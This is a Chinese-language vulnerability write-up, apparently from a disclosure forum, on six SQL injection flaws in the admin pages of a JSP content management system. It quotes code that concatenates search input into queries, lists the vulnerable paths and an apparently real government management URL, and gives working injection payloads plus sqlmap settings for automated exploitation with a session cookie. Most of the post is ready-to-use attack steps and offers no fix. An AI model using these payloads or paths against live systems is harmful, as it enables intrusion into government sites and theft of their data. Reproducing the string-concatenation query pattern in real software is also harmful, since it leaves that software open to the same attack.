只是冲着数量来的。后台SQL注入,有点怀疑是实习程序员……临时工的作品?
后台SQL1 第一个先拿一个麻烦一点的来演示,后面的同理 需要有应用管理员或者系统管理员的权限登录。 /jis/manage/datasbase/que_datasbase.jsp
if (que_keywords.length() > 0) {
strSqlCondition.append(" AND vc_collocatename like '%" + que_keywords
+ "%'");
}
为了配合工具利用,需要先新增监听管理: http://management.ysx.gov.cn/jis/manage/datasbase/opr_datasbase.jsp?fn_billstatus=A&
只要是公网可以访问的IP,而且用户名、密码是对的就行了。否则会提示无法连接之类的
添加了之后就有作为标识用的字符串出来了 在搜索框内输入' and '%'=' 页面没有变化
输入' and '1'=',页面变化了
带上cookie丢工具吧 Sqlmap配置data的时候这样来比较好:--data "que_keywords=' * and '%'='"
后台SQL2 jis/manage/app/que_application.jsp
if (que_keywords.length() > 0) {
strSqlCondition.append(" AND vc_appname LIKE '%" + que_keywords+ "%' OR vc_appmark LIKE '%"
+ que_keywords+ "%'");
}
权限要求同上 照旧,搜索处输入' and '%'='
' and '1'='
工具利用方法类似上一个。 后台SQL3 jis/sys/user/que_userginfo.jsp 类似上两个漏洞
if(que_keywords.length()>0)
strSqlCondition.append(" AND vc_usergroupname like '%"+que_keywords+
"%' OR vc_groupallname like '%"+que_keywords+"%'");
搜索输入 ' and '%'=' 搜索出所有结果:
后台SQL4 jis/manage/role/que_approleinfo.jsp
if(que_keywords.length()>0) {
strSqlCondition.append(" AND vc_rolename like '%"+que_keywords+"%'");
}
if(que_webid.length()>0) {
strSqlCondition.append(" AND i_webid = '"+que_webid+"'");
}
输入' and '%'='
' and '%'='1
后台SQL5 jis/manage/log/que_log.jsp
if(que_keywords.length()>0){
strSqlCondition.append(" AND vc_operatecontent like '%"+que_keywords+"%' OR c_userid like '%"+que_keywords+"%' OR vc_modulename like '%"+que_keywords+"%' OR vc_state like '%"+que_keywords+"%' ");
}
搜索输入 admin%' or '%'=' 出来全部结果:
改为admin%' and '%'=' 则只出现admin的日志:
后台SQL6 jis/manage/sysview/que_sysview.jsp 输入fgj' or '%'='